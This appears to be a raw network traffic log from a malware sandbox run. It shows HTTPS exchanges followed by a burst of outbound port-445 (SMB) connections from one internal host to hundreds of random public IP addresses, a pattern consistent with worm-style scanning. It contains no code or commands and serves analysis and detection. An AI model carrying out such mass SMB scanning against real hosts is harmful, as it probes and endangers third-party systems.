Jul 20, 2022 09:08:31.352073908 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.352152109 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.353249073 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.353288889 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.353365898 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.353385925 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.353420019 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.353446007 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.354978085 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.355012894 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.355099916 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.355117083 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.355158091 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.355178118 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.355849981 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.355942011 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.358175039 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.358205080 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.358309984 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.358335018 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.358386993 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.358958006 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.358980894 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.359072924 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.359086037 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.359133005 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.359307051 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.359392881 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.360435963 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.360461950 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.360558033 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.360579014 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.360662937 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.361402988 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.361427069 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.361496925 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.361514091 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.361552954 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.361576080 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.362272024 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.362345934 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.363610029 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.363637924 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.363701105 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.363718033 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.363764048 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.363790035 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.364820004 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.364845991 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.364916086 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.364938974 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.364953041 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.365005016 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.365904093 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.365932941 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.366005898 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.366019011 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.366044998 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.366075039 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.366797924 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.366822004 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.366909981 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.366924047 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.366977930 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.367872000 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.367970943 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.369023085 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.369046926 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.369138002 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.369153976 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.369172096 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.369203091 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.369842052 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.369873047 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.369925976 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.369935989 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.369946957 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.370024920 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.370948076 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.370976925 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.371063948 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.371076107 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.371124029 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.371685982 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.371707916 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.371782064 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.371793985 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.371838093 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.371865034 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.372416019 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.372507095 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.501144886 CEST	50874	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:31.501166105 CEST	51020	445	192.168.2.6	184.82.96.34
Jul 20, 2022 09:08:31.584500074 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.584604025 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.611953974 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.611979008 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.611995935 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.612004995 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.612107038 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.612114906 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.612128973 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.612337112 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.612344980 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.612356901 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.612421989 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.612514973 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.612561941 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.615333080 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.615515947 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.616883039 CEST	51034	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:31.616908073 CEST	443	51034	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:31.707556963 CEST	445	51020	184.82.96.34	192.168.2.6
Jul 20, 2022 09:08:31.768697023 CEST	51037	445	192.168.2.6	75.210.0.191
Jul 20, 2022 09:08:31.876997948 CEST	51038	445	192.168.2.6	204.160.2.82
Jul 20, 2022 09:08:31.877608061 CEST	51039	445	192.168.2.6	178.182.162.195
Jul 20, 2022 09:08:31.878202915 CEST	51040	445	192.168.2.6	142.199.64.250
Jul 20, 2022 09:08:31.879020929 CEST	51041	445	192.168.2.6	146.67.86.15
Jul 20, 2022 09:08:31.879681110 CEST	51042	445	192.168.2.6	83.232.79.8
Jul 20, 2022 09:08:31.880311966 CEST	51043	445	192.168.2.6	86.181.245.232
Jul 20, 2022 09:08:31.880958080 CEST	51044	445	192.168.2.6	223.99.245.63
Jul 20, 2022 09:08:31.881583929 CEST	51045	445	192.168.2.6	81.99.41.44
Jul 20, 2022 09:08:31.924304008 CEST	51046	445	192.168.2.6	84.3.65.211
Jul 20, 2022 09:08:31.924918890 CEST	51047	445	192.168.2.6	91.184.216.237
Jul 20, 2022 09:08:31.925556898 CEST	51048	445	192.168.2.6	210.69.6.210
Jul 20, 2022 09:08:31.926367998 CEST	51049	445	192.168.2.6	211.211.90.174
Jul 20, 2022 09:08:31.927061081 CEST	51050	445	192.168.2.6	89.204.101.91
Jul 20, 2022 09:08:31.929095984 CEST	51051	445	192.168.2.6	119.137.136.47
Jul 20, 2022 09:08:31.940491915 CEST	51052	445	192.168.2.6	161.170.170.70
Jul 20, 2022 09:08:31.941381931 CEST	51053	445	192.168.2.6	140.158.108.181
Jul 20, 2022 09:08:31.942173004 CEST	51054	445	192.168.2.6	39.61.136.110
Jul 20, 2022 09:08:31.945310116 CEST	51055	445	192.168.2.6	208.217.236.238
Jul 20, 2022 09:08:31.948417902 CEST	51056	445	192.168.2.6	148.101.142.171
Jul 20, 2022 09:08:31.948420048 CEST	51057	445	192.168.2.6	181.122.10.193
Jul 20, 2022 09:08:31.948559999 CEST	51059	445	192.168.2.6	159.176.127.71
Jul 20, 2022 09:08:31.948565006 CEST	51058	445	192.168.2.6	184.212.156.71
Jul 20, 2022 09:08:31.948654890 CEST	51060	445	192.168.2.6	108.26.71.95
Jul 20, 2022 09:08:31.948734045 CEST	51061	445	192.168.2.6	201.254.135.108
Jul 20, 2022 09:08:31.948767900 CEST	51062	445	192.168.2.6	34.138.169.108
Jul 20, 2022 09:08:31.948834896 CEST	51063	445	192.168.2.6	42.115.245.221
Jul 20, 2022 09:08:31.948888063 CEST	51064	445	192.168.2.6	31.41.214.28
Jul 20, 2022 09:08:31.948952913 CEST	51065	445	192.168.2.6	13.47.65.217
Jul 20, 2022 09:08:31.948980093 CEST	51066	445	192.168.2.6	108.67.210.151
Jul 20, 2022 09:08:31.986989021 CEST	51067	445	192.168.2.6	147.52.115.198
Jul 20, 2022 09:08:32.894546986 CEST	51071	445	192.168.2.6	34.227.111.23
Jul 20, 2022 09:08:33.002382040 CEST	51072	445	192.168.2.6	15.101.5.101
Jul 20, 2022 09:08:33.003540039 CEST	51073	445	192.168.2.6	188.165.35.30
Jul 20, 2022 09:08:33.004443884 CEST	51074	445	192.168.2.6	86.62.244.86
Jul 20, 2022 09:08:33.006974936 CEST	51075	445	192.168.2.6	197.125.79.215
Jul 20, 2022 09:08:33.012011051 CEST	51076	445	192.168.2.6	58.94.207.72
Jul 20, 2022 09:08:33.012207031 CEST	51077	445	192.168.2.6	26.226.81.169
Jul 20, 2022 09:08:33.012350082 CEST	51078	445	192.168.2.6	22.45.190.4
Jul 20, 2022 09:08:33.012501955 CEST	51079	445	192.168.2.6	135.1.161.59
Jul 20, 2022 09:08:33.032397032 CEST	445	51071	34.227.111.23	192.168.2.6
Jul 20, 2022 09:08:33.049437046 CEST	51080	445	192.168.2.6	47.252.29.28
Jul 20, 2022 09:08:33.050043106 CEST	51081	445	192.168.2.6	79.161.70.82
Jul 20, 2022 09:08:33.050637960 CEST	51082	445	192.168.2.6	123.185.85.109
Jul 20, 2022 09:08:33.051219940 CEST	51083	445	192.168.2.6	76.38.231.24
Jul 20, 2022 09:08:33.051759958 CEST	51084	445	192.168.2.6	110.218.122.21
Jul 20, 2022 09:08:33.052301884 CEST	51085	445	192.168.2.6	126.27.97.26
Jul 20, 2022 09:08:33.066644907 CEST	51086	445	192.168.2.6	52.225.144.235
Jul 20, 2022 09:08:33.067280054 CEST	51087	445	192.168.2.6	197.78.209.42
Jul 20, 2022 09:08:33.069181919 CEST	51088	445	192.168.2.6	16.69.146.195
Jul 20, 2022 09:08:33.091734886 CEST	51089	445	192.168.2.6	1.104.198.154
Jul 20, 2022 09:08:33.094212055 CEST	51090	445	192.168.2.6	10.71.39.26
Jul 20, 2022 09:08:33.094360113 CEST	51091	445	192.168.2.6	159.57.16.220
Jul 20, 2022 09:08:33.094388962 CEST	51092	445	192.168.2.6	14.212.233.159
Jul 20, 2022 09:08:33.094453096 CEST	51093	445	192.168.2.6	33.30.130.62
Jul 20, 2022 09:08:33.094463110 CEST	51094	445	192.168.2.6	194.195.157.187
Jul 20, 2022 09:08:33.094543934 CEST	51095	445	192.168.2.6	24.12.244.18
Jul 20, 2022 09:08:33.094594955 CEST	51096	445	192.168.2.6	173.214.248.175
Jul 20, 2022 09:08:33.094651937 CEST	51097	445	192.168.2.6	76.209.232.252
Jul 20, 2022 09:08:33.094710112 CEST	51098	445	192.168.2.6	111.14.57.172
Jul 20, 2022 09:08:33.094811916 CEST	51100	445	192.168.2.6	103.169.96.250
Jul 20, 2022 09:08:33.096781969 CEST	51099	445	192.168.2.6	106.186.250.2
Jul 20, 2022 09:08:33.097095966 CEST	51101	445	192.168.2.6	18.33.96.82
Jul 20, 2022 09:08:33.688832045 CEST	51071	445	192.168.2.6	34.227.111.23
Jul 20, 2022 09:08:33.826764107 CEST	445	51071	34.227.111.23	192.168.2.6
Jul 20, 2022 09:08:34.023909092 CEST	51105	445	192.168.2.6	35.219.59.162
Jul 20, 2022 09:08:34.131923914 CEST	51107	445	192.168.2.6	75.214.57.55
Jul 20, 2022 09:08:34.132596970 CEST	51106	445	192.168.2.6	156.58.89.161
Jul 20, 2022 09:08:34.132638931 CEST	51108	445	192.168.2.6	94.231.117.124
Jul 20, 2022 09:08:34.133236885 CEST	51109	445	192.168.2.6	41.132.220.112
Jul 20, 2022 09:08:34.133881092 CEST	51110	445	192.168.2.6	121.82.164.140
Jul 20, 2022 09:08:34.134751081 CEST	51111	445	192.168.2.6	72.232.125.29
Jul 20, 2022 09:08:34.136183023 CEST	51113	445	192.168.2.6	196.100.123.94
Jul 20, 2022 09:08:34.136267900 CEST	51112	445	192.168.2.6	45.122.117.186
Jul 20, 2022 09:08:34.162313938 CEST	51114	445	192.168.2.6	162.176.220.186
Jul 20, 2022 09:08:34.163180113 CEST	51115	445	192.168.2.6	132.207.42.162
Jul 20, 2022 09:08:34.164115906 CEST	51116	445	192.168.2.6	220.29.124.167
Jul 20, 2022 09:08:34.165070057 CEST	51117	445	192.168.2.6	23.209.108.77
Jul 20, 2022 09:08:34.165951014 CEST	51118	445	192.168.2.6	149.181.235.102
Jul 20, 2022 09:08:34.168869019 CEST	51119	445	192.168.2.6	29.211.253.228
Jul 20, 2022 09:08:34.199040890 CEST	51120	445	192.168.2.6	177.108.92.181
Jul 20, 2022 09:08:34.199312925 CEST	51121	445	192.168.2.6	52.162.37.42
Jul 20, 2022 09:08:34.199429989 CEST	51122	445	192.168.2.6	65.136.179.49
Jul 20, 2022 09:08:34.199577093 CEST	51123	445	192.168.2.6	174.248.75.203
Jul 20, 2022 09:08:34.205590010 CEST	51124	445	192.168.2.6	83.99.68.92
Jul 20, 2022 09:08:34.206585884 CEST	51125	445	192.168.2.6	87.18.55.86
Jul 20, 2022 09:08:34.207757950 CEST	51126	445	192.168.2.6	105.206.103.33
Jul 20, 2022 09:08:34.208877087 CEST	51127	445	192.168.2.6	46.114.95.116
Jul 20, 2022 09:08:34.213604927 CEST	51128	445	192.168.2.6	218.228.30.169
Jul 20, 2022 09:08:34.213673115 CEST	51129	445	192.168.2.6	75.163.239.250
Jul 20, 2022 09:08:34.213828087 CEST	51130	445	192.168.2.6	40.159.237.13
Jul 20, 2022 09:08:34.213936090 CEST	51131	445	192.168.2.6	108.196.75.253
Jul 20, 2022 09:08:34.214051962 CEST	51132	445	192.168.2.6	174.29.199.123
Jul 20, 2022 09:08:34.214174032 CEST	51133	445	192.168.2.6	177.207.111.132
Jul 20, 2022 09:08:34.214294910 CEST	51134	445	192.168.2.6	203.53.19.195
Jul 20, 2022 09:08:34.214420080 CEST	51135	445	192.168.2.6	20.171.56.113
Jul 20, 2022 09:08:35.148597002 CEST	51140	445	192.168.2.6	67.151.117.83
Jul 20, 2022 09:08:35.252903938 CEST	51141	445	192.168.2.6	7.198.194.199
Jul 20, 2022 09:08:35.254256964 CEST	51142	445	192.168.2.6	106.170.77.169
Jul 20, 2022 09:08:35.255408049 CEST	51143	445	192.168.2.6	189.133.190.27
Jul 20, 2022 09:08:35.256452084 CEST	51145	445	192.168.2.6	149.19.185.118
Jul 20, 2022 09:08:35.256568909 CEST	51144	445	192.168.2.6	61.124.98.80
Jul 20, 2022 09:08:35.257034063 CEST	51146	445	192.168.2.6	47.229.25.164
Jul 20, 2022 09:08:35.257942915 CEST	51147	445	192.168.2.6	105.87.197.85
Jul 20, 2022 09:08:35.258492947 CEST	51148	445	192.168.2.6	164.204.71.1
Jul 20, 2022 09:08:35.297580957 CEST	51149	445	192.168.2.6	35.21.213.112
Jul 20, 2022 09:08:35.298644066 CEST	51150	445	192.168.2.6	72.253.152.8
Jul 20, 2022 09:08:35.299338102 CEST	51151	445	192.168.2.6	13.141.13.184
Jul 20, 2022 09:08:35.299983978 CEST	51152	445	192.168.2.6	97.57.65.196
Jul 20, 2022 09:08:35.300597906 CEST	51153	445	192.168.2.6	205.24.116.249
Jul 20, 2022 09:08:35.301208973 CEST	51154	445	192.168.2.6	89.121.87.86
Jul 20, 2022 09:08:35.314851999 CEST	51155	445	192.168.2.6	222.35.31.124
Jul 20, 2022 09:08:35.316093922 CEST	51156	445	192.168.2.6	214.139.26.141
Jul 20, 2022 09:08:35.316359043 CEST	51158	445	192.168.2.6	150.209.81.179
Jul 20, 2022 09:08:35.316438913 CEST	51157	445	192.168.2.6	12.120.248.223
Jul 20, 2022 09:08:35.330914974 CEST	51159	445	192.168.2.6	145.253.115.226
Jul 20, 2022 09:08:35.331528902 CEST	51160	445	192.168.2.6	86.72.215.84
Jul 20, 2022 09:08:35.332184076 CEST	51161	445	192.168.2.6	113.160.110.123
Jul 20, 2022 09:08:35.332761049 CEST	51162	445	192.168.2.6	156.6.126.80
Jul 20, 2022 09:08:35.333266973 CEST	51163	445	192.168.2.6	2.98.71.211
Jul 20, 2022 09:08:35.333914995 CEST	51164	445	192.168.2.6	197.113.210.203
Jul 20, 2022 09:08:35.334481955 CEST	51165	445	192.168.2.6	34.96.43.247
Jul 20, 2022 09:08:35.335124016 CEST	51166	445	192.168.2.6	23.244.10.135
Jul 20, 2022 09:08:35.335705042 CEST	51167	445	192.168.2.6	89.19.38.151
Jul 20, 2022 09:08:35.336251020 CEST	51168	445	192.168.2.6	54.69.121.41
Jul 20, 2022 09:08:35.336983919 CEST	51169	445	192.168.2.6	7.13.214.13
Jul 20, 2022 09:08:35.337855101 CEST	51170	445	192.168.2.6	166.34.138.15
Jul 20, 2022 09:08:35.413758039 CEST	445	51164	197.113.210.203	192.168.2.6
Jul 20, 2022 09:08:35.663640022 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.663697958 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.663810968 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.664669991 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.664689064 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.756386995 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.756542921 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.758951902 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.758976936 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.759258032 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.760576010 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.760646105 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.760658026 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.760812044 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.787852049 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.787945986 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:35.788026094 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.794648886 CEST	51173	443	192.168.2.6	20.199.120.151
Jul 20, 2022 09:08:35.794697046 CEST	443	51173	20.199.120.151	192.168.2.6
Jul 20, 2022 09:08:36.001557112 CEST	51164	445	192.168.2.6	197.113.210.203
Jul 20, 2022 09:08:36.082031965 CEST	445	51164	197.113.210.203	192.168.2.6
Jul 20, 2022 09:08:36.303900957 CEST	51176	445	192.168.2.6	30.3.232.42
Jul 20, 2022 09:08:36.401799917 CEST	51178	445	192.168.2.6	55.253.219.229
Jul 20, 2022 09:08:36.405867100 CEST	51180	445	192.168.2.6	68.61.6.58
Jul 20, 2022 09:08:36.405958891 CEST	51179	445	192.168.2.6	115.251.196.103
Jul 20, 2022 09:08:36.406037092 CEST	51181	445	192.168.2.6	182.58.31.213
Jul 20, 2022 09:08:36.406147957 CEST	51182	445	192.168.2.6	183.241.26.164
Jul 20, 2022 09:08:36.406300068 CEST	51183	445	192.168.2.6	160.86.148.112
Jul 20, 2022 09:08:36.406414986 CEST	51184	445	192.168.2.6	151.145.46.185
Jul 20, 2022 09:08:36.406559944 CEST	51185	445	192.168.2.6	70.239.85.41
Jul 20, 2022 09:08:36.428458929 CEST	51186	445	192.168.2.6	170.11.204.179
Jul 20, 2022 09:08:36.429399967 CEST	51187	445	192.168.2.6	158.178.41.78
Jul 20, 2022 09:08:36.429548025 CEST	51188	445	192.168.2.6	97.111.242.156
Jul 20, 2022 09:08:36.429794073 CEST	51189	445	192.168.2.6	143.200.200.22
Jul 20, 2022 09:08:36.429836988 CEST	51190	445	192.168.2.6	192.38.74.91
Jul 20, 2022 09:08:36.431364059 CEST	51191	445	192.168.2.6	48.66.115.145
Jul 20, 2022 09:08:36.459192038 CEST	51193	445	192.168.2.6	147.142.180.252
Jul 20, 2022 09:08:36.459247112 CEST	51192	445	192.168.2.6	106.150.95.54
Jul 20, 2022 09:08:36.459280968 CEST	51194	445	192.168.2.6	110.87.45.205
Jul 20, 2022 09:08:36.459369898 CEST	51195	445	192.168.2.6	56.14.237.155
Jul 20, 2022 09:08:36.459427118 CEST	51196	445	192.168.2.6	222.236.198.210
Jul 20, 2022 09:08:36.459532976 CEST	51197	445	192.168.2.6	189.124.7.215
Jul 20, 2022 09:08:36.459549904 CEST	51198	445	192.168.2.6	182.141.119.3
Jul 20, 2022 09:08:36.459579945 CEST	51199	445	192.168.2.6	107.66.189.182
Jul 20, 2022 09:08:36.459680080 CEST	51201	445	192.168.2.6	78.215.155.83
Jul 20, 2022 09:08:36.459717035 CEST	51200	445	192.168.2.6	101.133.218.157
Jul 20, 2022 09:08:36.459784985 CEST	51202	445	192.168.2.6	185.31.17.115
Jul 20, 2022 09:08:36.459870100 CEST	51203	445	192.168.2.6	10.232.53.60
Jul 20, 2022 09:08:36.459949017 CEST	51205	445	192.168.2.6	114.170.161.156
Jul 20, 2022 09:08:36.459958076 CEST	51204	445	192.168.2.6	38.210.26.207
Jul 20, 2022 09:08:36.460050106 CEST	51207	445	192.168.2.6	156.17.98.232
Jul 20, 2022 09:08:36.460127115 CEST	51206	445	192.168.2.6	187.247.191.207
Jul 20, 2022 09:08:36.501580000 CEST	50843	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:36.648128986 CEST	445	51183	160.86.148.112	192.168.2.6
Jul 20, 2022 09:08:37.189182997 CEST	51183	445	192.168.2.6	160.86.148.112
Jul 20, 2022 09:08:37.189182997 CEST	50874	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:37.433290958 CEST	445	51183	160.86.148.112	192.168.2.6
Jul 20, 2022 09:08:37.450190067 CEST	51212	445	192.168.2.6	120.140.92.134
Jul 20, 2022 09:08:37.508219004 CEST	51214	445	192.168.2.6	68.252.3.237
Jul 20, 2022 09:08:37.510387897 CEST	51215	445	192.168.2.6	218.211.243.139
Jul 20, 2022 09:08:37.511137962 CEST	51216	445	192.168.2.6	163.211.116.113
Jul 20, 2022 09:08:37.511925936 CEST	51217	445	192.168.2.6	207.229.237.2
Jul 20, 2022 09:08:37.512677908 CEST	51218	445	192.168.2.6	130.1.3.98
Jul 20, 2022 09:08:37.513421059 CEST	51219	445	192.168.2.6	183.15.142.197
Jul 20, 2022 09:08:37.514163971 CEST	51220	445	192.168.2.6	86.114.126.228
Jul 20, 2022 09:08:37.514899969 CEST	51221	445	192.168.2.6	200.133.208.58
Jul 20, 2022 09:08:37.556236029 CEST	51222	445	192.168.2.6	172.62.139.184
Jul 20, 2022 09:08:37.556945086 CEST	51223	445	192.168.2.6	176.233.44.69
Jul 20, 2022 09:08:37.558706045 CEST	51224	445	192.168.2.6	149.147.50.56
Jul 20, 2022 09:08:37.558965921 CEST	51226	445	192.168.2.6	121.19.93.211
Jul 20, 2022 09:08:37.559030056 CEST	51227	445	192.168.2.6	26.26.3.128
Jul 20, 2022 09:08:37.559279919 CEST	51225	445	192.168.2.6	167.11.64.104
Jul 20, 2022 09:08:37.567704916 CEST	51228	445	192.168.2.6	182.83.113.112
Jul 20, 2022 09:08:37.567751884 CEST	51229	445	192.168.2.6	59.104.94.99
Jul 20, 2022 09:08:37.568548918 CEST	51230	445	192.168.2.6	169.158.188.144
Jul 20, 2022 09:08:37.569350958 CEST	51231	445	192.168.2.6	137.234.219.229
Jul 20, 2022 09:08:37.570120096 CEST	51232	445	192.168.2.6	89.240.28.10
Jul 20, 2022 09:08:37.570861101 CEST	51233	445	192.168.2.6	114.102.92.126
Jul 20, 2022 09:08:37.571621895 CEST	51234	445	192.168.2.6	199.9.61.200
Jul 20, 2022 09:08:37.572382927 CEST	51235	445	192.168.2.6	131.215.173.35
Jul 20, 2022 09:08:37.573143005 CEST	51236	445	192.168.2.6	126.193.228.127
Jul 20, 2022 09:08:37.574094057 CEST	51237	445	192.168.2.6	164.91.156.55
Jul 20, 2022 09:08:37.575414896 CEST	51239	445	192.168.2.6	70.43.208.202
Jul 20, 2022 09:08:37.575571060 CEST	51238	445	192.168.2.6	14.251.17.242
Jul 20, 2022 09:08:37.576123953 CEST	51240	445	192.168.2.6	119.236.144.189
Jul 20, 2022 09:08:37.576834917 CEST	51241	445	192.168.2.6	92.103.1.76
Jul 20, 2022 09:08:37.577799082 CEST	51242	445	192.168.2.6	22.251.120.232
Jul 20, 2022 09:08:38.555371046 CEST	51249	445	192.168.2.6	9.154.69.196
Jul 20, 2022 09:08:38.670156002 CEST	51251	445	192.168.2.6	40.32.187.3
Jul 20, 2022 09:08:38.670773029 CEST	51252	445	192.168.2.6	183.41.154.239
Jul 20, 2022 09:08:38.674175978 CEST	51254	445	192.168.2.6	80.76.92.125
Jul 20, 2022 09:08:38.674176931 CEST	51253	445	192.168.2.6	11.194.74.46
